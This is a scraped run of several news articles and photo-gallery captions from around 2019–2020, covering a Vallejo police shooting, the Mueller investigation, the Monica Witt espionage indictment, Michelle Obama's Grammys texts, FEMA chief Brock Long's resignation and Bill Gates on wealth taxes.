World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The family of the young man has disputed the account of the police, and claimed what happened is just the latest example of a young black man being shot and killed by police without justification.

Its a really big loss. Really, really unexpected, Mr McCoys cousin, David Harrison, told the San Francisco Chronicle.

Theres a lot of grieving going on, trying to make sense of this thing.

The newspaper said that a semi-automatic handgun recovered at the scene had been reported stolen in Oregon and was fully functional when officers found it, according to police.

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It said it was unknown how Mr McCoy obtained the firearm.

Mr Harrison later posted a video on Facebook in which he said: You cant just keep killing us in the street like this. My cousin was asleep in the car and they shot him 20 times.

Another cousin, Levonte Cole, told KTVU-TV: Willie was a good person he didnt deserve that. I have no words for Vallejo police.

Theyre supposed to protect and serve. Theyre not supposed to shoot to kill.Donald Trumps former lawyer has predicted the American public wont see a report  or possibly anything at all  produced from special counsel Robert Muellers investigation into Russian interference in the 2016 presidential election.

John Dowd, who previously worked for the presidents legal team focusing on the Russia investigation before departing last year, called the probe a terrible waste of time in an interview with ABC News.

I dont think there will be a report, the attorney said. The rules of the department say no report.

He added, I wont be shocked if anything regarding the president is made public other than, were done.

The comments arrived as Democrats reportedly prepared for a showdown to occur between the US House of Representatives and Mr Trumps Justice Department over obtaining access to the final Russia report.

The biggest names involved in the Trump-Russia investigation Show all 17 1 /17 The biggest names involved in the Trump-Russia investigation The biggest names involved in the Trump-Russia investigation Paul Manafort Mr Manafort is a Republican strategist and former Trump campaign manager. He resigned from that post over questions about his extensive lobbying overseas, including in Ukraine where he represented pro-Russian interests. Mr Manafort turned himself in at FBI headquarters to special counsel Robert Muellers team on Oct 30, 2017, after he was indicted under seal on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. Getty The biggest names involved in the Trump-Russia investigation Rick Gates Mr Gates joined the Trump team in spring 2016, and served as a top aide until he left to work at the Republican National Committee after the departure of former Trump campaign manager Paul Manafort. Mr Gates' had previously worked on several presidential campaigns, on international political campaigns in Europe and Africa, and had 15 years of political or financial experience with multinational firms, according to his bio. Mr Gates was indicted alongside Mr Manafort by special counsel Robert Mueller's team on charges that include conspiracy against the United States, conspiracy to launder money, unregistered agent of a foreign principal, false and misleading US Foreign Agents Registration Act statements, false statements, and seven counts of failure to file reports of foreign bank and financial accounts. AP The biggest names involved in the Trump-Russia investigation George Papadopoulos George Papadopoulos was a former foreign policy adviser for the Trump campaign, having joined around March 2016. Mr Papadopoulos plead guilty to federal charges for lying to the FBI as a part of a cooperation agreement with Special Counsel Robert Mueller's investigation. Mr Papadopoulos claimed in an interview with the FBI that he had made contacts with Russian sources before joining the Trump campaign, but he actually began working with them after joining the team. Mr Papadopoulos allegedly took a meeting with a professor in London who reportedly told him that Russians had "dirt" on Hillary Clinton. The professor also allegedly introduced Mr Papadopoulos to a Russian who was said to have close ties to officials at the Russian Ministry of Foreign Affairs. Mr Papadopoulos also allegedly was in contact with a woman whom he incorrectly described in one email to others in the campaign as the "niece" to Russian President Vladimir Putin. Twitter The biggest names involved in the Trump-Russia investigation Donald Trump Jr The President's eldest son met with a Russian lawyer - Natalia Veselnitskaya - on 9 June 2016 at Trump Tower in New York. He said in an initial statement that the meeting was about Russia halting adoptions of its children by US citizens. Then, he said it was regarding the Magnitsky Act, a US law blacklisting Russian human rights abusers. In a final statement, Mr Trump Jr released a chain of emails that revealed he took the meeting in hopes of getting information Ms Veselnitskaya had about Hillary Clinton's alleged financial ties to Russia. He and the President called it standard "opposition research" in the course of campaigning and that no information came from the meeting. The meeting was set up by an intermediary, Rob Goldstone. Jared Kushner and Paul Manafort were also at the same meeting. Getty Images The biggest names involved in the Trump-Russia investigation Jared Kushner Mr Kushner is President Donald Trump's son-in-law and a key adviser to the White House. He met with a Russian banker appointed by Russian President Vladimir Putin in December. Mr Kushner has said he did so in his role as an adviser to Mr Trump while the bank says he did so as a private developer. Mr Kushner has also volunteered to testify in the Senate about his role helping to arrange meetings between Trump advisers and Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Rob Goldstone Former tabloid journalist and now music publicist Rob Goldstone is a contact of the Trump family through the previously Trump-owned 2013 Miss Universe pageant, which took place in Moscow. In June 2016, he wrote to Donald Trump Jr offering a meeting with a Russian lawyer, Natalya Veselnitskaya, who had information about Hillary Clinton. Mr Goldstone was the intermediary for Russian pop star Emin Agalaraov and his father, real estate magnate Aras, who played a role in putting on the 2013 pageant. In an email chain released by Mr Trump Jr, Mr Goldstone seemed to indicate Russian government's support of Donald Trump's campaign. AP images The biggest names involved in the Trump-Russia investigation Aras and Emin Agalarov Aras Agalarov (R) is a wealthy Moscow-based real estate magnate and son Emin (L) is a pop star. Both played a role in putting on the previously Trump-owned 2013 Miss Universe pageant in Moscow. They allegedly had information about Hillary Clinton and offered that information to the Trump campaign through a lawyer with whom they had worked with, Natalia Veselnitskaya, and music publicist Rob Goldstone. Getty Images The biggest names involved in the Trump-Russia investigation Natalia Veselnitskaya Natalia Veselnitskaya is a Russian lawyer with ties to the Kremlin. She has worked on real estate issues and reportedly counted the FSB as a client in the past. She has ties to a Trump family connection, real estate magnate Aras Agalarov, who had helped set up the Trump-owned 2013 Miss Universe pageant which took place in Moscow. Ms Veselnitskaya met with Donald Trump Jr, Jared Kushner, and Paul Manafort in Trump Tower on 9 June 2016 but denies the allegation that she went there promising information on Hillary Clinton's alleged financial ties to Russia. She contends that the meeting was about the US adoptions of Russian children being stopped by Moscow as a reaction to the Magnitsky Act, a US law blacklisting Russian human rights abusers. Getty Images The biggest names involved in the Trump-Russia investigation Mike Flynn Mr Flynn was named as Trump's national security adviser but was forced to resign from his post for inappropriate communication with Russian Ambassador to the US Sergey Kislyak. He had misrepresented a conversation he had with Mr Kislyak to Vice President Mike Pence, telling him wrongly that he had not discussed sanctions with the Russian. Getty Images The biggest names involved in the Trump-Russia investigation Sergey Kislyak Mr Kislyak, the former longtime Russian ambassador to the US, is at the centre of the web said to connect President Donald Trump's campaign with Russia. Reuters The biggest names involved in the Trump-Russia investigation Roger Stone Mr Stone is a former Trump adviser who worked on the political campaigns of Richard Nixon, George HW Bush, and Ronald Reagan. Mr Stone claimed repeatedly in the final months of the campaign that he had backchannel communications with WikiLeaks founder Julian Assange and that he knew the group was going to dump damaging documents to the campaign of Democratic candidate Hillary Clinton - which did happen. Mr Stone also had contacts with the hacker Guccier 2.0 on Twitter, who claimed to have hacked the DNC and is linked to Russian intelligence services. Getty Images The biggest names involved in the Trump-Russia investigation Jeff Sessions The US attorney general was forced to recuse himself from the Trump-Russia investigation after it was learned that he had lied about meeting with Russian Ambassador to the US Sergey Kislyak. Getty Images The biggest names involved in the Trump-Russia investigation Carter Page Mr Page is a former advisor to the Trump campaign and has a background working as an investment banker at Merrill Lynch. Mr Page met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republican National Convention in Cleveland. Mr Page had invested in oil companies connected to Russia and had admitted that US Russia sanctions had hurt his bottom line. Reuters The biggest names involved in the Trump-Russia investigation Jeffrey "JD" Gorden Mr Gordon met with Russian Ambassador to the US Sergey Kislyak during the 2016 Republian National Convention to discuss how the US and Russia could work together to combat Islamist extremism should then-Republican presidential candidate Donald Trump win the election. The meeting came days before a massive leak of DNC emails that has been connected to Russia. Creative Commons The biggest names involved in the Trump-Russia investigation James Comey Mr Comey was fired from his post as head of the FBI by President Donald Trump. The timing of Mr Comey's firing raised questions around whether or not the FBI's investigation into the Trump campaign may have played a role in the decision. Getty Images The biggest names involved in the Trump-Russia investigation Preet Bharara Mr Bahara refused, alongside 46 other US district attorney's across the country, to resign once President Donald Trump took office after previous assurances from Mr Trump that he would keep his job. Mr Bahara had been heading up several investigations including one into one of President Donald Trump's favorite cable television channels Fox News. Several investigations would lead back to that district, too, including those into Mr Trump's campaign ties to Russia, and Mr Trump's assertion that Trump Tower was wiretapped on orders from his predecessor. Getty Images The biggest names involved in the Trump-Russia investigation Sally Yates Ms Yates, a former Deputy Attorney General, was running the Justice Department while President Donald Trump's pick for attorney general awaited confirmation. Ms Yates was later fired by Mr Trump from her temporary post over her refusal to implement Mr Trump's first travel ban. She had also warned the White House about potential ties former National Security Adviser Michael Flynn to Russia after discovering those ties during the FBI's investigation into the Trump campaign's connections to Russia. Getty Images

Mr Dowd claimed to know exactly what Mr Mueller has in terms of evidence, saying on Tuesday, I know what the conclusion of the result is.

Theres no basis, he continued, referring to the investigation writ-large. Theres no exposure. Its been a terrible waste of time.

Jerrold Nadler, the Democratic chairman of the House Judiciary Committee, announced on Tuesday the hiring of two distinguished attorneys  Norman Eisen and Barry Berke  as special oversight staff to spearhead a review of the special counsels findings when they become available.

In a statement, Mr Nadler vowed the Democratic-controlled Judiciary Committee would ask critical questions, gather all the information, judiciously assess the evidence, and make sure that the facts are not hidden from the American people.

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Mr Trumps conduct and crude statements threaten the basic legal, ethical and constitutional norms that maintain our democratic institutions, the statement continued. Congress has a constitutional duty to be a check and balance against abuses of power when necessary.

Additional reporting by APA US Air Force officer has defected to Iran and shared information that could cause serious damage to Americas national security, officials have revealed.

The former Air Force intelligence specialist was charged with espionage and was accused of working for Iran, according to an unsealed federal indictment.

The announcement arrived after assistant attorney general for national security John Demers and other senior officials held a call with reporters to discuss what they called a national security related action involving Iran.

Mr Demers was joined by US attorney for Washington, Jessie Liu, FBI executive assistant director for national security Jay Tabb, Treasury Department director of Foreign Assets Control Adrea Gacki and Air Force Office of Special Investigations special agent Terry Phillips.

The officials discussed the unsealed indictment against Monica Witt, a former counterintelligence officer for the Air Force Office of Special Investigations. Ms Witt defected to Iran nearly six years ago in 2013.

Also charged are four Iranian hackers. Prosecutors say they targeted former colleagues of Ms Witts in the intelligence community.

The indictment says the four Iranians were acting on behalf of the government-linked Iranian Revolutionary Guard Corps.

It is a sad day for America when one of its citizens betrays our country, Mr Demers, the head of the Justice Departments national security division, said on the call.

Revolution in Iran: In pictures Show all 11 1 /11 Revolution in Iran: In pictures Revolution in Iran: In pictures A demonstration against the Shah in 1979 Getty Revolution in Iran: In pictures Armed women on guard in one of the main squares in Tehran at the beginning of the Iranian Revolution Getty Revolution in Iran: In pictures Demonstrators hold a poster of Ayatollah Ruhollah Khomeini, in January 1979, in Tehran, during a demonstration against the Shah AFP/Getty Revolution in Iran: In pictures Iranian rebels pose with a U.S. flag they bayonetted upside down on trees at Sultanabad Garrison northeast of Tehran on February 12 2019 AP Revolution in Iran: In pictures A gun battle in Khorramshahr during the revolution, 1979 Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah among tear gas. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Women wearing the traditional Chador demonstrate in the streets of Tehran against the Shah on September 7 1978 AFP/Getty Revolution in Iran: In pictures Demonstrators in Tehran calling for the replacement of the Shah of Iran during the Iranian Revolution, 1979. They carry placards depicting Ayatollah Mahmoud Talaghani, one of the leading revolutionaries Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Thousands of the Ayatollah Khomeini's supporters on the streets of Tehran calling for the religious leader's return in January 1979 Getty Revolution in Iran: In pictures The Iranian Islamic Republic Army demonstrates in solidarity with people in the street during the Iranian revolution. They are carrying posters of the Ayatollah Khomeini, the Iranian religious and political leader Getty

Ms Witt remains at-large. The 39-year-old has been indicted by a federal grand jury in the District of Columbia for conspiracy to deliver and delivering national defence information to representatives of the Iranian government, according to the indictment that was unsealed on Wednesday morning.

Witt, who defected to Iran in 2013, is alleged to have assisted Iranian intelligence services in targeting her former fellow agents in the US Intelligence Community (USIC). Witt is also alleged to have disclosed the code name and classified mission of a US Department of Defence Special Access Program, the indictment continues.

A warrant has been placed for her arrest.

The four hackers, whose names are Mojtaba Masoumpour, Behzad Mesri, Hossein Parvar and Mohamad Paryar, have also been charged with conspiracy, attempts to commit computer intrusion and aggravated identity theft. Their alleged crimes date back to 2014 through 2015, in which they are charged with using fictional and imposter social media accounts and working on behalf of the Iranian Revolutionary Guard Corps (IRGC), sought to deploy malware that would provide them covert access to the targets computers and networks.

The hackers, referred to in the indictment as Cyber Conspirators, also remain at-large and have warrants placed for each other their arrests.

US treasury secretary Steven Mnuchin said the agency was taking action against malicious Iranian cyber actors and covert operations that have targeted Americans at home and overseas as part of our ongoing efforts to counter the Iranian regimes cyberattacks.

Recommended Trump lambasts US intelligence community over Iran nuclear claims

Treasury is sanctioning New Horizon Organisation for its support to the IRGC-QF, he continued in a statement. New Horizon hosts international conferences that have provided Iranian intelligence officers a platform to recruit and collect damaging information from attendees, while propagating antisemitism and Holocaust denial. We are also sanctioning an Iran-based company that has attempted to install malware to compromise the computers of US personnel.

Additional reporting by APIt seems as though even former first lady Michelle Obama isnt immune from the occasional teasing from her mother.

The Chicago native unexpectedly appeared at the Grammys on Sunday evening, surprising millions of viewers at home  including Marian Robinson, Ms Obamas mother.

On Tuesday, Ms Obama posted screencaps of the text exchange she had with her mother on Instagram, with the caption: "When your mom doesn't think you're a "real" celebrity...Tonight in Phoenix, I shared this text thread from my mom from #Grammys night, and I just had to share it with all of you. #TextsFromMom"

In one of the texts, Ms Robinson poked fun at her daughter, asking if she met any real stars while at the award show.

The full text exchange between Ms Obama and her mother is below:

Michelle Obama as the First Lady Show all 11 1 /11 Michelle Obama as the First Lady Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty Michelle Obama as the First Lady Getty

Ms Robinson: I guess you were a hit at the Grammys

Ms Obama: I'm sitting here with Valerie and this text is so typically you. Did you watch it?!

Ms Robinson: I saw it because Gracie called me. Did you meet any of the real stars or did you run right after you were done

Ms Obama: I told you I was going to be on it

Ms Robinson: No you did not. I would have remembered that even though I don't remember much.

Recommended Watch the opening Grammys speech with Michelle Obama in full

Ms Obama: I thought I told you

Ms Obama: And I am a real star...by the way...

Ms Robinson: Yeah

Ms Obama: (heart emojis)

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The former first lady made a surprise appearance at the beginning of the Grammys, sharing the stage with host Alicia Keys alongside Jennifer Lopez, Lady Gaga and Jada Pinkett Smith, to acknowledge the power music has to unite people.

"Whether we like country or rap or rock, music helps us share ourselves, our dignity and sorrows, our hopes and joys, Ms Obama said on stage on Sunday.

It allows us to hear one another, to invite each other in. Music shows us that all of it matters  every story within every voice, every note within every song. Is that right ladies?"The chief of the Federal Emergency Management Agency (FEMA) announced that he will be stepping down amid controversy amid a row over alleged misuse of government resources and unauthorised travel expenses.

Brock Long announced his resignation in a statement on Wednesday, stating that he will officially step down from his position on March 8. Peter Gaynor, Mr Longs deputy, will serve as the acting administrator.

While this has been the opportunity of the lifetime, it is time for me to go home to my familymy beautiful wife and two incredible boys, Mr Long said in a statement. As a career emergency management professional, I could not be prouder to have worked alongside the devoted, hardworking men and women of FEMA for the past two years.

After its investigation, the Department of Homeland Securitys inspector general determined that Mr Long lavishly used government resources for personal trips throughout his term as FEMA chief.

The inspector general determined last year that Mr Long unauthorised use of government resources cost the American taxpayer the following: $94,000 in staff salary, $55,000 in travel expenses and $2,000 in vehicle maintenance.

Bringing aid to Puerto Rico Show all 20 1 /20 Bringing aid to Puerto Rico Bringing aid to Puerto Rico Crew chief Kenney shelters under the blade of an HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit preparing to take off during recovery efforts following Hurricane Maria, in Isla Grande, Puerto Rico, October 6, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico An HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit takes off behind Crew Chief Alexander Blake and his fellow soldiers during recovery efforts following Hurricane Maria, in Morovis, October 5, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Crew member Bynum stands in tropical rain as a HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit prepares to take off during recovery efforts following Hurricane Maria, in Isla Grande, October 6, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico UH-60 Blackhawk helicopter pilot Chris Greenway receives a hug from a woman thanking him for water as he works with the First Armored Division's Combat Aviation Brigade during recovery efforts following Hurricane Maria, in Verde de Comerio, October 7, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico A man carries a case of water away from an HH-60 Blackhawk helicopter after soldiers working with 101st Airborne Division's "Dustoff" unit dropped off relief supplies during recovery efforts following Hurricane Maria, in Jayuya, October 5, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Crew chief Alexander Blake from 101st Airborne Division's "Dustoff" unit loads water into a helicopter during recovery efforts following Hurricane Maria, in Isla Grande, October 5, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Residents wait for soldiers in UH-60 Blackhawk helicopters from the First Armored Division's Combat Aviation Brigade to deliver food and water during recovery efforts following Hurricane Maria, in San Lorenzo Reuters Bringing aid to Puerto Rico An HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit lands in a field to avoid lightning during recovery efforts following Hurricane Maria, in Manati, October 5, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Residents hold their hands aloft to signal that they need water as UH-60 Blackhawk helicopters from the First Armored Division's Combat Aviation Brigade fly past during recovery efforts following Hurricane Maria, near Ciales, October 7, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Tropical rain splashes on a runway as HH-60 Blackhawk helicopters from 101st Airborne Division's "Dustoff" unit wait for weather to clear during recovery efforts following Hurricane Maria, in Isla Grande, October 6, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Pilot Eldwin Bocanegra Torres speaks with residents isolated by landslides in the mountains after unloading water and food from a helicopter during recovery efforts following Hurricane Maria, near Utuado, October 10, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Residents stand in front of wind-damaged trees as they wait for soldiers in UH-60 Blackhawk helicopters from the First Armored Division's Combat Aviation Brigade to deliver food and water during recovery efforts following Hurricane Maria, in San Lorenzo, October 7, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico The contents of a home are seen from the air during recovery efforts following Hurricane Maria near Utuado, October 10, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Thomas looks out of the window of an HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit, loaded with relief supplies, during recovery efforts following Hurricane Maria in Isla Grande, October 6, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico A message written on the rooftop is seen from the air during recovery efforts following Hurricane Maria near Humacao, October 10, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico A HH-60 Blackhawk helicopter from 101st Airborne Division's "Dustoff" unit lands in a field during recovery efforts following Hurricane Maria in San Sebastian, October 6, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Sergeant First Class Eladio Tirado, who is from Puerto Rico, looks for a landing spot for a UH-60 Blackhawk helicopter from the First Armored Division's Combat Aviation Brigade, during recovery efforts following Hurricane Maria near Ciales, October 7, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Boys carry water away from an HH-60 Blackhawk helicopter after soldiers working with the U.S. Army's 101st Airborne Division's "Dustoff" unit dropped off relief supplies during recovery efforts following Hurricane Maria, in Jayuya, October 5, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Sergeant First Class Eladio Tirado from the First Armored Division's Combat Aviation Brigade, who is from Puerto Rico, speaks with residents as he helps during recovery efforts following Hurricane Maria, in San Lorenzo, October 7, 2017 Reuters/Lucas Jackson Bringing aid to Puerto Rico Residents peek through a fence at helicopters from 101st Airborne Division's "Dustoff" unit that had parked in a locked field during recovery efforts following Hurricane Maria, in Lares, October 6, 2017 Reuters/Lucas Jackson

The investigation was prompted by reports that Mr Long would use government-issued vehicles for his personal leisure despite his agencys counsel informing him it was unethical.

DHS Secretary Kirstjen Nielsen said Mr Long will have to pay the government back for his use of of government cars and staff during these personal trips. The lot of these trips were used to travel between Washington, DC and his home in North Carolina.

Recommended Trump FEMA chief partially blames Puerto Rico deaths on spousal abuse

In an email to FEMA staff, Mr Long wrote that his resignation was one of the toughest decision he has ever made.

This is one of the toughest decisions I have ever had to make, Mr Long wrote in the email, according to Bloomberg. Thank you for an incredible journey and for the support you have shown me. Whether you agreed with my vision for the agency or not, thank you for standing with me as we tried new concepts designed to ultimately save lives and better our profession.

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Mr Long led disaster relief agency through a record term of natural disasters, including a hurricane that demolished Puerto Rico.

Under his term as chief, FEMA was heavily criticised for its response Hurricane Maria and its impact on the small Caribbean island.

The tropical storm left Puerto Rico without electricity for months on end and resulted in the deaths of an estimated 2,975 people.Billionaire Bill Gates has criticised plans to impose higher rates of tax on the super-rich  like the one suggested by Alexandria Ocasio-Cortez  as being too extreme.

The Democratic congresswoman for New York has said she wants to tax income over $10m at 70 per cent, arguing that it is immoral to allow billionaires to amass great wealth amid intense poverty.

But the Microsoft co-founder said some of the left-wing proposals were so extreme it would only push the wealthiest people in the US to hide more of their income from the tax authorities.

We can be more progressive without really threatening income generation, Mr Gates told a podcast by the tech website The Verge.

The philanthropist argued that with all the stocks and assets owned by the super-rich, deciding to reform on the ordinary income rate was a misfocus. If you focus on that, youre missing the picture.

